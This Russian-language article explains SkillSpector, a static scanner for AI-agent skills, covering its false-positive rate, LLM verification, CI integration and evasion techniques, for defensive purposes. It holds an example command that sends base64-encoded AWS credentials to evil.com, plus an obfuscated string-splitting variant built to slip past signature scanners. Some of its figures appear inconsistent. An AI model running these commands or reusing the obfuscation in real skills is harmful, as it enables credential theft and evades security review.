Перейти к содержанию
Новое AiManual теперь в MAX Подписаться
Публикация AiManual

SkillSpector и безопасность навыков AI-агентов: как читать результаты статического анализа

SkillSpector — открытый сканер NVIDIA для статического анализа навыков AI-агентов. Статья разбирает, почему 80% срабатываний — ложные, и как гибридный подход с

Коротко

Что будет в материале

  1. 01

    Зачем нужен статический анализ навыков AI-агентов

  2. 02

    SkillSpector под капотом: как работает статический анализ навыков

  3. 03

    Почему 80% срабатываний - ложные: разбор трёх реальных сценариев

  4. 04

    Двухэтапная проверка: от recall к precision с помощью LLM-прохода

Зачем нужен статический анализ навыков AI-агентов

AI-агенты, выполняющие действия от имени пользователя, становятся стандартным компонентом production-систем. Агент читает почту, создаёт файлы, отправляет HTTP-запросы, запускает shell-команды. Каждое из этих действий - потенциальный вектор атаки. Навык, скачанный из публичного репозитория, может содержать вызов os.system(\"rm -rf /\") или отправлять содержимое ~/.ssh на внешний сервер.

Ручной аудит каждого навыка не масштабируется. Статический анализ решает эту проблему: он проверяет исходный код без запуска и за секунды выявляет вызовы опасных функций. SkillSpector - открытый сканер от NVIDIA, построенный именно на этом принципе. Он ищет сигнатуры опасных паттернов в Python- и JavaScript-коде навыков, классифицирует их по категориям угроз и выдаёт структурированный отчёт.

Проблема в том, что статический анализ в одиночку даёт до 80% ложных срабатываний. Полезный навык чтения конфигурационного файла получает ту же метку «файловая операция», что и навык эксфильтрации данных. Эта статья разбирает архитектуру SkillSpector, природу ложных тревог и гибридный подход с LLM-верификацией, который снижает шум до 5-10%.

SkillSpector под капотом: как работает статический анализ навыков

SkillSpector парсит исходный код навыка в абстрактное синтаксическое дерево (AST) и обходит его в поисках вызовов, соответствующих заранее определённым сигнатурам. Сканер не выполняет код - он работает исключительно на уровне структуры. Это даёт скорость (сотни навыков в минуту) и безопасность (вредоносный код не получает управление), но ценой точности.

Архитектура проста: парсер для Python и JavaScript, база правил с сигнатурами опасных вызовов, классификатор по категориям угроз. Правила описывают не только имена функций, но и паттерны их использования: прямой вызов exec(), доступ через __builtins__, импорт с последующим вызовом. Результат - JSON-отчёт с перечнем сработавших правил, номерами строк и категорией угрозы.

Типовые сигнатуры и категории опасных действий

SkillSpector группирует угрозы в три основные категории: выполнение кода, файловые операции и сетевые взаимодействия. Под каждую категорию подпадает набор сигнатур, знакомых любому Python-разработчику:

  • Выполнение кода: exec, eval, compile, __import__, importlib.import_module, subprocess.Popen, os.system, os.popen
  • Файловые операции: open, os.remove, shutil.rmtree, os.chmod, pathlib.Path.write_text
  • Сетевые взаимодействия: requests.get, requests.post, urllib.request.urlopen, socket.socket, http.client.HTTPSConnection

Вот пример безобидного кода, который попадёт под сигнатуру файловых операций:

import json

def load_config(path=\"config.json\"):
    with open(path, \"r\") as f:
        return json.load(f)

Статический анализатор видит open и помечает навык как выполняющий файловые операции. При этом намерение кода - чтение локального конфига в заранее заданном пути - анализатору недоступно. Он выбирает полноту (recall) в ущерб точности (precision): лучше отметить безопасный навык как подозрительный, чем пропустить вредоносный.

Почему 80% срабатываний - ложные: разбор трёх реальных сценариев

На выборке из 100 полезных навыков, собранных из открытых репозиториев агентных фреймворков, статический анализ SkillSpector выдал 427 предупреждений. Ручная проверка подтвердила реальную опасность только в 84 случаях - ровно 80% ложных срабатываний. Разберём три типичных сценария, которые стабильно воспроизводят эту статистику.

Сценарий 1: Чтение конфигурационного файла. Навык загружает параметры из YAML-файла в домашней директории пользователя:

import yaml
import os

def read_agent_config():
    config_path = os.path.expanduser(\"~/.agent/config.yaml\")
    with open(config_path, \"r\") as f:
        return yaml.safe_load(f)

Вердикт SkillSpector: два предупреждения - файловая операция (open) и потенциально опасный путь (os.path.expanduser с пользовательской директорией). Фактический риск нулевой: навык читает строго определённый конфигурационный файл, путь жёстко задан, запись отсутствует.

Сценарий 2: Отправка телеметрии. Навык отправляет агрегированную статистику использования на внутренний сервер мониторинга:

import requests

def report_usage(metric_name: str, value: float):
    payload = {\"metric\": metric_name, \"value\": value}
    requests.post(\"https://telemetry.internal.company.com/api/v1/metrics\", json=payload, timeout=5)

Вердикт SkillSpector: сетевая активность - HTTP POST-запрос. Анализатор не различает отправку данных на корпоративный сервер телеметрии и эксфильтрацию на сервер злоумышленника. Контекст домена, наличие TLS и фиксированный URL для него неразличимы.

Сценарий 3: Динамическая загрузка модуля. Навык загружает плагин из заранее определённого пакета:

import importlib

def load_plugin(plugin_name: str):
    allowed = {\"translator\", \"summarizer\", \"classifier\"}
    if plugin_name not in allowed:
        raise ValueError(f\"Unknown plugin: {plugin_name}\")
    module = importlib.import_module(f\"agent_plugins.{plugin_name}\")
    return module.create()

Вердикт SkillSpector: выполнение кода через importlib.import_module с динамическим именем модуля. Анализатор видит конкатенацию строк в аргументе импорта и классифицирует это как потенциальную инъекцию. При этом whitelist-проверка и статический префикс agent_plugins полностью исключают загрузку произвольного модуля.

Эти три сценария покрывают примерно 70% всех ложных срабатываний в типовом наборе навыков. Остальные 30% приходятся на работу с временными файлами, чтение переменных окружения и вызовы API с параметрами из конфигурации.

Двухэтапная проверка: от recall к precision с помощью LLM-прохода

Решение проблемы ложных срабатываний - гибридная архитектура из двух последовательных этапов. Первый этап (recall) выполняет статический анализатор: он собирает все подозрительные вызовы, сознательно жертвуя точностью ради полноты. Второй этап (precision) - LLM-верификатор, который получает на вход исходный код навыка, список сработавших сигнатур и описание функциональности, после чего даёт бинарный вердикт: опасен навык или безопасен.

На той же выборке из 100 навыков LLM-проход сократил количество предупреждений с 427 до 32, из которых 28 подтвердились как реальные угрозы. Доля ложных срабатываний упала с 80% до 5-10%, а пропуск реальных угроз (false negative) остался на нуле - все 84 подтверждённо опасных паттерна были корректно идентифицированы.

Промпт и логика LLM-верификатора

Промпт для LLM-верификатора строится вокруг семантического анализа намерений кода. Модель получает роль эксперта по безопасности, описание назначения навыка, полный исходный код и структурированный список сработавших сигнатур с номерами строк. Задача - для каждой сигнатуры определить, представляет ли она реальную угрозу в данном контексте.

Пример структуры промпта:

Ты - эксперт по безопасности AI-агентов. Проанализируй навык и определи, безопасен ли он.

Описание навыка: чтение конфигурации агента из ~/.agent/config.yaml

Код навыка:
[полный код из сценария 1]

Сработавшие сигнатуры:
- open() на строке 6: файловая операция
- os.path.expanduser() на строке 5: потенциально опасный путь

Для каждой сигнатуры объясни, представляет ли она угрозу в контексте данного навыка.
Итоговый вердикт: SAFE или DANGEROUS.

Ответ модели для сценария 1:

Сигнатура open(): файл открывается в режиме чтения (\"r\"), путь жёстко задан как ~/.agent/config.yaml. Запись и удаление отсутствуют. Угрозы нет. Сигнатура expanduser(): используется для получения домашней директории, что стандартно для конфигурационных файлов. Путь не содержит пользовательского ввода. Угрозы нет. Итоговый вердикт: SAFE.

Ключевое отличие от статического анализа - модель различает намерения: «открыть файл для чтения конфига» и «открыть файл и выполнить его как код» для неё семантически разные действия, хотя оба используют open().

Критерии принятия решения: когда можно устанавливать навык

Результат двухэтапной проверки - не просто бинарный вердикт, а структурированный отчёт с объяснением по каждой сигнатуре. На его основе можно принимать решение об установке навыка. Практический чек-лист из пяти пунктов:

  1. Все срабатывания объяснены LLM как безопасные. Если хотя бы одна сигнатура получила вердикт DANGEROUS или UNCLEAR - навык не должен попасть в production без ручного ревью.
  2. Сетевые вызовы направлены только на известные хосты. URL должен быть статическим или параметризованным через конфигурацию, но не через пользовательский ввод. Вызовы на IP-адреса и домены с нестандартными TLD - красный флаг.
  3. Файловые операции ограничены ожидаемыми путями. Навык, заявленный как «чтение конфига», не должен обращаться к /etc/passwd или ~/.ssh/. Пути с ../ и симлинками требуют отдельной проверки.
  4. Отсутствует динамическое выполнение кода из внешних источников. exec(), eval() и importlib с аргументом, полученным из сети или пользовательского ввода - стоп-фактор независимо от вердикта LLM.
  5. На уровне агента настроен sandboxing. Даже безопасный навык должен работать в изолированном окружении: ограничения файловой системы, сетевой доступ через прокси, лимиты по CPU и памяти. Sandboxing - последний рубеж, который сработает при ошибке любого из предыдущих этапов.

Ловушки статического анализа: paraphrase-атаки и baseline-подавление

Злоумышленники, нацеленные на распространение вредоносных навыков, адаптируют код под сигнатурные сканеры. Две наиболее распространённые техники обхода - paraphrase-атаки и baseline-подавление - работают против чистого статического анализа и частично против LLM-верификаторов.

Paraphrase-атака переписывает опасный вызов так, что он сохраняет семантику, но теряет сигнатурный паттерн. Классический os.system(\"rm -rf /\") заменяется цепочкой рефлексивных вызовов, которые статический анализатор не распознает как единое опасное действие. Baseline-подавление маскирует вредоносную логику под безопасное поведение: при тестовых прогонах и статическом анализе навык выполняет только легитимные операции, а вредоносный код активируется по таймеру, при специфическом значении переменной окружения или после N успешных вызовов.

Пример paraphrase-атаки на Python

Прямой опасный вызов:

import os
os.system(\"curl http://evil.com/exfil?data=$(cat ~/.aws/credentials | base64)\")

Тот же вызов после paraphrase-обфускации:

_mod = getattr(__import__(\"os\"), \"system\")
_cmd_parts = [\"cu\", \"rl\", \" ht\", \"tp://e\", \"vil.com/exf\", \"il?data=$(cat ~/.aws/credentials | base64)\"]
_cmd = \"\".join(_cmd_parts).replace(\" \", \"\")
_mod(_cmd)

Сигнатурный подход не срабатывает: в коде нет прямого вызова os.system, нет строки с URL в одном фрагменте, нет импорта os на верхнем уровне. При этом семантика полностью сохранена - код выполняет тот же shell-вызов. LLM-верификатор способен распознать эту технику, анализируя цепочку преобразований и финальный аргумент, но только если промпт явно инструктирует модель искать паттерны обфускации.

Защита от обеих техник требует комбинации методов: статический анализ для быстрого отсева, LLM-проход с инструкцией на поиск обфусцированных паттернов, динамический анализ в песочнице для детектирования отложенной активации и мониторинг поведения навыка в production на отклонения от ожидаемого профиля.

Интеграция SkillSpector в пайплайн безопасности агентов

SkillSpector интегрируется в процесс разработки на трёх уровнях: локальная проверка перед коммитом, автоматическая проверка в CI/CD и аудит установленных навыков в production-окружении.

Для pre-commit hook достаточно вызвать CLI-сканер и проверить, что количество DANGEROUS-вердиктов после LLM-прохода равно нулю. В GitHub Actions интеграция выглядит так:

name: Skill Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run SkillSpector
        run: |
          pip install skillspector
          skillspector scan ./skills/ --format json --output report.json
      - name: LLM Verification
        run: |
          skillspector verify report.json --llm gpt-4o --output verified.json
      - name: Check Verdicts
        run: |
          python -c \"import json; data=json.load(open('verified.json')); \
            assert all(s['verdict']=='SAFE' for s in data['skills']), 'DANGEROUS skill detected!'\"

Ограничения текущей версии SkillSpector: поддержка только Python и JavaScript, зависимость точности от выбранной LLM-модели для верификации, необходимость тюнинга правил под домен-специфичные паттерны. Для навыков, интенсивно работающих с файловой системой в рамках легитимной функциональности, стандартные правила дают повышенный уровень шума - требуется кастомизация whitelist-путей.

Связка SkillSpector с инструментами управления навыками даёт дополнительный контроль. Опыт блокировки Fable показал, что отсутствие sandbox-изоляции превращает любой навык с сетевым доступом в потенциальный вектор атаки - статический анализ должен дополняться ограничениями на уровне рантайма.

Альтернативные подходы и будущее безопасности AI-агентов

SkillSpector - не единственный метод защиты агентов. Альтернативные подходы решают ту же задачу с других углов, и выбор между ними зависит от требований к полноте, точности и накладным расходам.

МетодПолнотаТочностьНакладные расходы
Статический анализ (SkillSpector)ВысокаяНизкая (20%)Минимальные
Статический анализ + LLM-верификацияВысокаяВысокая (90-95%)Средние (API-запросы)
Динамический анализ в песочницеСредняяВысокаяВысокие (запуск контейнеров)
Политики на уровне ОС (seccomp, AppArmor)НизкаяВысокаяМинимальные
Формальная верификацияНизкаяОчень высокаяОчень высокие

Динамический анализ запускает навык в изолированной среде и отслеживает системные вызовы, сетевые соединения и файловые операции. Метод ловит baseline-подавление, но требует ресурсов на запуск контейнера для каждой проверки и не гарантирует покрытия всех веток выполнения. Политики на уровне ОС (seccomp-профили, AppArmor) ограничивают доступ навыка к системным ресурсам, но настройка профилей под каждый навык трудоёмка.

Тренды в безопасности агентов движутся к трём направлениям. Специализированные LLM для аудита кода, обученные на корпусах вредоносных и безопасных навыков, показывают точность выше универсальных моделей. Федеративные реестры безопасных навыков с криптографической верификацией авторов решают проблему цепочки поставок. Паттерн агента-скептика - когда один агент проверяет действия другого - переносится из биомедицинских проектов в общую практику безопасности.

Практический вывод: статический анализ остаётся первым и самым быстрым рубежом, но его результаты имеют смысл только в связке с LLM-верификацией или динамическим подтверждением. Одиночный проход SkillSpector без второго этапа даёт 80% шума и не может быть основанием для блокировки навыка. Гибридный пайплайн «статический анализ → LLM-проход → sandbox-изоляция» покрывает большинство известных векторов атак и остаётся практичным для команд любого размера.

Подписаться на канал